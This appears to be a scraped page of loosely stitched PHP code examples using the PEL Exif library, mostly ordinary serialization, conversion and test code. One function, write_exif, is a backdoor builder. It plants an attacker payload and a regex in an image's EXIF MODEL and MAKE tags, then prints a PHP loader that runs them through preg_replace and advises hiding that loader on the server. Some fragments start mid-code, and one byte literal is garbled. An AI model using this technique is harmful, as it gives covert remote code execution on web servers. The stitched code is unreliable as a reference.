Example #1
0
 /**
  * Turn this directory into bytes.
  *
  * This directory will be turned into a byte string, with the
  * specified byte order.  The offsets will be calculated from the
  * offset given.
  *
  * @param int the offset of the first byte of this directory.
  *
  * @param PelByteOrder the byte order that should be used when
  * turning integers into bytes.  This should be one of {@link
  * PelConvert::LITTLE_ENDIAN} and {@link PelConvert::BIG_ENDIAN}.
  */
 function getBytes($offset, $order)
 {
     $bytes = '';
     $extra_bytes = '';
     Pel::debug('Bytes from IDF will start at offset %d within Exif data', $offset);
     $n = count($this->entries) + count($this->sub);
     if ($this->thumb_data != null) {
         /* We need two extra entries for the thumbnail offset and
          * length. */
         $n += 2;
     }
     $bytes .= PelConvert::shortToBytes($n, $order);
     /* Initialize offset of extra data.  This included the bytes
      * preceding this IFD, the bytes needed for the count of entries,
      * the entries themselves (and sub entries), the extra data in the
      * entries, and the IFD link.
      */
     $end = $offset + 2 + 12 * $n + 4;
     foreach ($this->entries as $tag => $entry) {
         /* Each entry is 12 bytes long. */
         $bytes .= PelConvert::shortToBytes($entry->getTag(), $order);
         $bytes .= PelConvert::shortToBytes($entry->getFormat(), $order);
         $bytes .= PelConvert::longToBytes($entry->getComponents(), $order);
         /*
          * Size? If bigger than 4 bytes, the actual data is not in
          * the entry but somewhere else.
          */
         $data = $entry->getBytes($order);
         $s = strlen($data);
         if ($s > 4) {
             Pel::debug('Data size %d too big, storing at offset %d instead.', $s, $end);
             $bytes .= PelConvert::longToBytes($end, $order);
             $extra_bytes .= $data;
             $end += $s;
         } else {
             Pel::debug('Data size %d fits.', $s);
             /* Copy data directly, pad with NULL bytes as necessary to
              * fill out the four bytes available.*/
             $bytes .= $data . str_repeat(chr(0), 4 - $s);
         }
     }
     if ($this->thumb_data != null) {
         Pel::debug('Appending %d bytes of thumbnail data at %d', $this->thumb_data->getSize(), $end);
         // TODO: make PelEntry a class that can be constructed with
         // arguments corresponding to the newt four lines.
         $bytes .= PelConvert::shortToBytes(PelTag::JPEG_INTERCHANGE_FORMAT_LENGTH, $order);
         $bytes .= PelConvert::shortToBytes(PelFormat::LONG, $order);
         $bytes .= PelConvert::longToBytes(1, $order);
         $bytes .= PelConvert::longToBytes($this->thumb_data->getSize(), $order);
         $bytes .= PelConvert::shortToBytes(PelTag::JPEG_INTERCHANGE_FORMAT, $order);
         $bytes .= PelConvert::shortToBytes(PelFormat::LONG, $order);
         $bytes .= PelConvert::longToBytes(1, $order);
         $bytes .= PelConvert::longToBytes($end, $order);
         $extra_bytes .= $this->thumb_data->getBytes();
         $end += $this->thumb_data->getSize();
     }
     /* Find bytes from sub IFDs. */
     $sub_bytes = '';
     foreach ($this->sub as $type => $sub) {
         if ($type == PelIfd::EXIF) {
             $tag = PelTag::EXIF_IFD_POINTER;
         } elseif ($type == PelIfd::GPS) {
             $tag = PelTag::GPS_INFO_IFD_POINTER;
         } elseif ($type == PelIfd::INTEROPERABILITY) {
             $tag = PelTag::INTEROPERABILITY_IFD_POINTER;
         }
         /* Make an aditional entry with the pointer. */
         $bytes .= PelConvert::shortToBytes($tag, $order);
         /* Next the format, which is always unsigned long. */
         $bytes .= PelConvert::shortToBytes(PelFormat::LONG, $order);
         /* There is only one component. */
         $bytes .= PelConvert::longToBytes(1, $order);
         $data = $sub->getBytes($end, $order);
         $s = strlen($data);
         $sub_bytes .= $data;
         $bytes .= PelConvert::longToBytes($end, $order);
         $end += $s;
     }
     /* Make link to next IFD, if any*/
     if ($this->isLastIFD()) {
         $link = 0;
     } else {
         $link = $end;
     }
     Pel::debug('Link to next IFD: %d', $link);
     $bytes .= PelConvert::longtoBytes($link, $order);
     $bytes .= $extra_bytes . $sub_bytes;
     if (!$this->isLastIfd()) {
         $bytes .= $this->next->getBytes($end, $order);
     }
     return $bytes;
 }
 /**
  * Convert a number into bytes.
  *
  * @param int the number that should be converted.
  *
  * @param PelByteOrder one of {@link PelConvert::LITTLE_ENDIAN} and
  * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order.
  *
  * @return string bytes representing the number given.
  */
 function numberToBytes($number, $order)
 {
     return PelConvert::sLongToBytes($number, $order);
 }
Example #3
0
 /**
  * Turn this object into bytes.
  *
  * TIFF images can have {@link PelConvert::LITTLE_ENDIAN
  * little-endian} or {@link PelConvert::BIG_ENDIAN big-endian} byte
  * order, and so this method takes an argument specifying that.
  *
  * @param PelByteOrder $order
  *            the desired byte order of the TIFF data.
  *            This should be one of {@link PelConvert::LITTLE_ENDIAN} or {@link
  *            PelConvert::BIG_ENDIAN}.
  *
  * @return string the bytes representing this object.
  */
 public function getBytes($order = PelConvert::LITTLE_ENDIAN)
 {
     if ($order == PelConvert::LITTLE_ENDIAN) {
         $bytes = 'II';
     } else {
         $bytes = 'MM';
     }
     /* TIFF magic number --- fixed value. */
     $bytes .= PelConvert::shortToBytes(self::TIFF_HEADER, $order);
     if ($this->ifd != null) {
         /*
          * IFD 0 offset. We will always start IDF 0 at an offset of 8
          * bytes (2 bytes for byte order, another 2 bytes for the TIFF
          * header, and 4 bytes for the IFD 0 offset make 8 bytes
          * together).
          */
         $bytes .= PelConvert::longToBytes(8, $order);
         /*
          * The argument specifies the offset of this IFD. The IFD will
          * use this to calculate offsets from the entries to their data,
          * all those offsets are absolute offsets counted from the
          * beginning of the data.
          */
         $bytes .= $this->ifd->getBytes(8, $order);
     } else {
         $bytes .= PelConvert::longToBytes(0, $order);
     }
     return $bytes;
 }
Example #4
0
 /**
  * Turn this JPEG object into bytes.
  *
  * The bytes returned by this method is ready to be stored in a file
  * as a valid JPEG image. Use the {@link saveFile()} convenience
  * method to do this.
  *
  * @return string bytes representing this JPEG object, including all
  * its sections and their associated data.
  */
 function getBytes()
 {
     $bytes = '';
     foreach ($this->sections as $section) {
         $m = $section[0];
         $c = $section[1];
         /* Write the marker */
         $bytes .= "ΓΏ" . PelJpegMarker::getBytes($m);
         /* Skip over empty markers. */
         if ($m == PelJpegMarker::SOI || $m == PelJpegMarker::EOI) {
             continue;
         }
         $data = $c->getBytes();
         $size = strlen($data) + 2;
         $bytes .= PelConvert::shortToBytes($size, PelConvert::BIG_ENDIAN);
         $bytes .= $data;
         /* In case of SOS, we need to write the JPEG data. */
         if ($m == PelJpegMarker::SOS) {
             $bytes .= $this->jpeg_data->getBytes();
         }
     }
     return $bytes;
 }
    $jpeg->load($data);
    $exif = $jpeg->getExif();
    if ($exif == null) {
        $exif = new PelExif();
        $jpeg->setExif($exif);
        $tiff = new PelTiff();
        $exif->setTiff($tiff);
    } else {
        $tiff = $exif->getTiff();
    }
} elseif (PelTiff::isValid($data)) {
    $tiff = $file = new PelTiff();
    /* Now load the data. */
    $tiff->load($data);
} else {
    PelConvert::bytesToDump($data->getBytes(0, 16));
    exit(1);
}
$ifd0 = $tiff->getIfd();
if ($ifd0 == null) {
    $ifd0 = new PelIfd(PelIfd::IFD0);
    $tiff->setIfd($ifd0);
}
$desc = $ifd0->getEntry(PelTag::IMAGE_DESCRIPTION);
if ($desc == null) {
    $desc = new PelEntryAscii(PelTag::IMAGE_DESCRIPTION, $description);
    $ifd0->addEntry($desc);
} else {
    $desc->setValue($description);
}
file_put_contents($output, $file->getBytes());
Example #6
0
 /**
  * Return a signed long read from the data.
  *
  * @param
  *            int the offset into the data. An offset of zero will
  *            return the first long available in the current allowed window.
  *            The last valid offset is equal to {@link getSize()}-4. Invalid
  *            offsets will result in a {@link PelDataWindowOffsetException}
  *            being thrown.
  *
  * @return int the signed long found at offset.
  */
 public function getSLong($o = 0)
 {
     /*
      * Validate the offset+3 to see if we can safely get four bytes
      * --- this throws an exception if offset is out of range.
      */
     $this->validateOffset($o);
     $this->validateOffset($o + 3);
     /* Translate the offset into an offset into the data. */
     $o += $this->start;
     /* Return a signed long. */
     return PelConvert::bytesToSLong($this->data, $o, $this->order);
 }
Example #7
0
 /**
  * Convert a number into bytes.
  *
  * @param int $number
  *            the number that should be converted.
  *
  * @param PelByteOrder $order
  *            one of {@link PelConvert::LITTLE_ENDIAN} and
  *            {@link PelConvert::BIG_ENDIAN}, specifying the target byte order.
  *
  * @return string bytes representing the number given.
  */
 public function numberToBytes($number, $order)
 {
     return PelConvert::shortToBytes($number, $order);
 }
function write_exif()
{
    global $verbose, $headers, $regex, $payload, $original, $backdoored;
    require_once 'pel/PelDataWindow.php';
    require_once 'pel/PelJpeg.php';
    require_once 'pel/PelTiff.php';
    setlocale(LC_ALL, '');
    $data = new PelDataWindow(file_get_contents($original));
    if (PelJpeg::isValid($data)) {
        $jpeg = $file = new PelJpeg();
        $jpeg->load($data);
        $exif = $jpeg->getExif();
        if ($exif == null) {
            if ($verbose) {
                print " # No APP1 section found, added new.\r\n";
            }
            $exif = new PelExif();
            $jpeg->setExif($exif);
            $tiff = new PelTiff();
            $exif->setTiff($tiff);
        } else {
            if ($verbose) {
                print " # Found existing APP1 section.\r\n";
            }
            $tiff = $exif->getTiff();
        }
    } elseif (PelTiff::isValid($data)) {
        $tiff = $file = new PelTiff();
        $tiff->load($data);
    } else {
        print " # Unrecognized image format! The first 16 bytes follow:\r\n";
        PelConvert::bytesToDump($data->getBytes(0, 16));
        exit(1);
    }
    $ifd0 = $tiff->getIfd();
    if ($ifd0 == null) {
        if ($verbose) {
            print " # No IFD found, adding new.\r\n";
        }
        $ifd0 = new PelIfd(PelIfd::IFD0);
        $tiff->setIfd($ifd0);
    }
    //add MODEL EXIF header
    $desc = $ifd0->getEntry(PelTag::MODEL);
    if ($desc == null) {
        if ($verbose) {
            print " # Added new MODEL entry with " . $payload . "\r\n";
        }
        $desc = new PelEntryAscii(PelTag::MODEL, $payload);
        $ifd0->addEntry($desc);
    } else {
        if ($verbose) {
            print 'Updating MODEL entry from "' . $desc->getValue() . '" to "' . $payload . '".' . "\r\n";
        }
        $desc->setValue($payload);
    }
    //add MAKE EXIF header
    $desc = $ifd0->getEntry(PelTag::MAKE);
    if ($desc == null) {
        if ($verbose) {
            print " # Added new MAKE entry with " . $regex . "\r\n";
        }
        $desc = new PelEntryAscii(PelTag::MAKE, $regex);
        $ifd0->addEntry($desc);
    } else {
        if ($verbose) {
            print 'Updating MAKE entry from "' . $desc->getValue() . '" to "' . $regex . '".' . "\r\n";
        }
        $desc->setValue($regex);
    }
    print " # Saving backdoor file : " . $backdoored . ".\r\n";
    $file->saveFile($backdoored);
    print " # Saved.\r\n";
    if ($verbose) {
        print "\r\n\r\n";
    }
    print " # In order to work your backdoor, you need to hide this code very well in a .php file.\r\n";
    print "\r\n<?php\r\n\$exif = exif_read_data('path_to_backdoored_file_uploaded_on_server.jpg');\r\n";
    print "preg_replace(\$exif['" . $headers[0] . "'],\$exif['" . $headers[1] . "'],'');\r\n?>\r\n\r\n";
}
function writeExif()
{
    //$prog = array_shift($argv);
    $error = false;
    $input = array_shift($argv);
    $output = array_shift($argv);
    /*if (isset($input))
    	{
    	  echo "Input file: ".$input."<br>";
    	} else
    	{
    	  $error = true;
    	}
    
    	if (isset($output)) {
    	  echo "Output file: ".$output."<br>";
    	} else {
    	  $error = true;
    	}*/
    /*if ($error) {
    	  echo "Error: Input or Output file not set.";
    	  exit(1);
    	}*/
    /* We typically need lots of RAM to parse TIFF images since they tend
     * to be big and uncompressed. */
    ini_set('memory_limit', '32M');
    /* The input file is now read into a PelDataWindow object.  At this
     * point we do not know if the file stores JPEG or TIFF data, so
     * instead of using one of the loadFile methods on PelJpeg or PelTiff
     * we store the data in a PelDataWindow. */
    echo 'Reading file "' . $input . '"<br>';
    $data = new PelDataWindow(file_get_contents($input));
    /* The static isValid methods in PelJpeg and PelTiff will tell us in
     * an efficient maner which kind of data we are dealing with. */
    if (PelJpeg::isValid($data)) {
        /* The data was recognized as JPEG data, so we create a new empty
         * PelJpeg object which will hold it.  When we want to save the
         * image again, we need to know which object to same (using the
         * getBytes method), so we store $jpeg as $file too. */
        $jpeg = $file = new PelJpeg();
        /* We then load the data from the PelDataWindow into our PelJpeg
         * object.  No copying of data will be done, the PelJpeg object will
         * simply remember that it is to ask the PelDataWindow for data when
         * required. */
        $jpeg->load($data);
        /* The PelJpeg object contains a number of sections, one of which
         * might be our Exif data. The getExif() method is a convenient way
         * of getting the right section with a minimum of fuzz. */
        $exif = $jpeg->getExif();
        if ($exif == null) {
            /* Ups, there is no APP1 section in the JPEG file.  This is where
             * the Exif data should be. */
            echo 'No APP1 section found, added new.<br>';
            /* In this case we simply create a new APP1 section (a PelExif
             * object) and adds it to the PelJpeg object. */
            $exif = new PelExif();
            $jpeg->setExif($exif);
            /* We then create an empty TIFF structure in the APP1 section. */
            $tiff = new PelTiff();
            $exif->setTiff($tiff);
        } else {
            /* Surprice, surprice: Exif data is really just TIFF data!  So we
             * extract the PelTiff object for later use. */
            println('Found existing APP1 section.<br>');
            $tiff = $exif->getTiff();
        }
    } elseif (PelTiff::isValid($data)) {
        /* The data was recognized as TIFF data.  We prepare a PelTiff
         * object to hold it, and record in $file that the PelTiff object is
         * the top-most object (the one on which we will call getBytes). */
        $tiff = $file = new PelTiff();
        /* Now load the data. */
        $tiff->load($data);
    } else {
        /* The data was not recognized as either JPEG or TIFF data.
         * Complain loudly, dump the first 16 bytes, and exit. */
        println('Unrecognized image format! The first 16 bytes follow:');
        PelConvert::bytesToDump($data->getBytes(0, 16));
        exit(1);
    }
    /* TIFF data has a tree structure much like a file system.  There is a
     * root IFD (Image File Directory) which contains a number of entries
     * and maybe a link to the next IFD.  The IFDs are chained together
     * like this, but some of them can also contain what is known as
     * sub-IFDs.  For our purpose we only need the first IFD, for this is
     * where the image description should be stored. */
    $ifd0 = $tiff->getIfd();
    //echo $ifd0."<br>";
    if ($ifd0 == null) {
        /* No IFD in the TIFF data?  This probably means that the image
         * didn't have any Exif information to start with, and so an empty
         * PelTiff object was inserted by the code above.  But this is no
         * problem, we just create and inserts an empty PelIfd object. */
        println('No IFD found, adding new.<br>');
        $ifd0 = new PelIfd(PelIfd::IFD0);
        $tiff->setIfd($ifd0);
    }
    /* Each entry in an IFD is identified with a tag.  This will load the
     * ImageDescription entry if it is present.  If the IFD does not
     * contain such an entry, null will be returned. */
    $desc = $ifd0->getEntry(PelTag::IMAGE_DESCRIPTION);
    if (false) {
        /* We need to check if the image already had a description stored. */
        if ($desc == null) {
            /* The was no description in the image. */
            println('Added new IMAGE_DESCRIPTION entry with "%s<br>".', $description);
            /* In this case we simply create a new PelEntryAscii object to hold
             * the description.  The constructor for PelEntryAscii needs to know
             * the tag and contents of the new entry. */
            $desc = new PelEntryAscii(PelTag::IMAGE_DESCRIPTION, $description);
            /* This will insert the newly created entry with the description
             * into the IFD. */
            $ifd0->addEntry($desc);
        } else {
            /* An old description was found in the image. */
            println('Updating IMAGE_DESCRIPTION entry from "%s" to "%s<br>".', $desc->getValue(), $description);
            /* The description is simply updated with the new description. */
            $desc->setValue($description);
        }
    }
    //$ifd1 = new PelIfd(PelIfd::IFD0);
    $ifd1 = $ifd0->getSubIfd(PelIfd::GPS);
    if ($ifd1 == null) {
        /* No IFD in the TIFF data?  This probably means that the image
         * didn't have any Exif information to start with, and so an empty
         * PelTiff object was inserted by the code above.  But this is no
         * problem, we just create and inserts an empty PelIfd object. */
        echo 'No GPS found, adding new.<br>';
        $ifd1 = new PelIfd(PelIfd::GPS);
        //getEntries
        $ifd0->addSubIfd($ifd1);
        //$ifd0->setNextIfd($ifd1);
    }
    //echo "ifd1: ".$ifd1."<br>";
    $lat = $ifd1->getEntry(PelTag::GPS_LATITUDE);
    //echo $lat."<br>";
    $gps_arr1[0] = 10;
    $gps_arr1[1] = 1;
    $gps_arr2[0] = 5;
    $gps_arr2[1] = 1;
    $gps_arr3[0] = 12;
    $gps_arr3[1] = 1;
    //$gps_arr[3] = 1;
    //$gps_arr[4] = 1;
    //$gps_arr[5] = 1;
    if ($lat == null) {
        $lat = new PelEntryRational(PelTag::GPS_LATITUDE, $gps_arr1, $gps_arr2, $gps_arr3);
        //$lat = new PelEntryRational(PelTag::GPS_LATITUDE, 10, 5, 12);
        echo "Creating latitude entry... ";
        $ifd1->addEntry($lat);
        echo "Created.<br>";
    } else {
        $lat->setValue($gps_arr1, $gps_arr2, $gps_arr3);
        //$lat->setValue(10, 5, 12);
    }
    /* At this point the image on disk has not been changed, it is only
     * the object structure in memory which represent the image which has
     * been altered.  This structure can be converted into a string of
     * bytes with the getBytes method, and saving this in the output file
     * completes the script. */
    println('Writing file "%s".<br>', $output);
    file_put_contents($output, $file->getBytes());
    $exifdata = exif_read_data($output, "", true, false);
    echo "Latitude: " . $exifdata["GPS"]["GPSLatitude"][0] . " " . $exifdata["GPS"]["GPSLatitude"][1] . " " . $exifdata["GPS"]["GPSLatitude"][2] . "<br>";
}
Example #10
0
 function testSByte()
 {
     $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 0), 0);
     $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 1), 0);
     $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 2), 0);
     $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 3), 0);
     $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 4), 1);
     $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 5), 35);
     $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 6), 69);
     $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 7), 103);
     $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 8), -119);
     $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 9), -85);
     $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 10), -51);
     $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 11), -17);
     $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 12), -1);
     $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 13), -1);
     $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 14), -1);
     $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 15), -1);
 }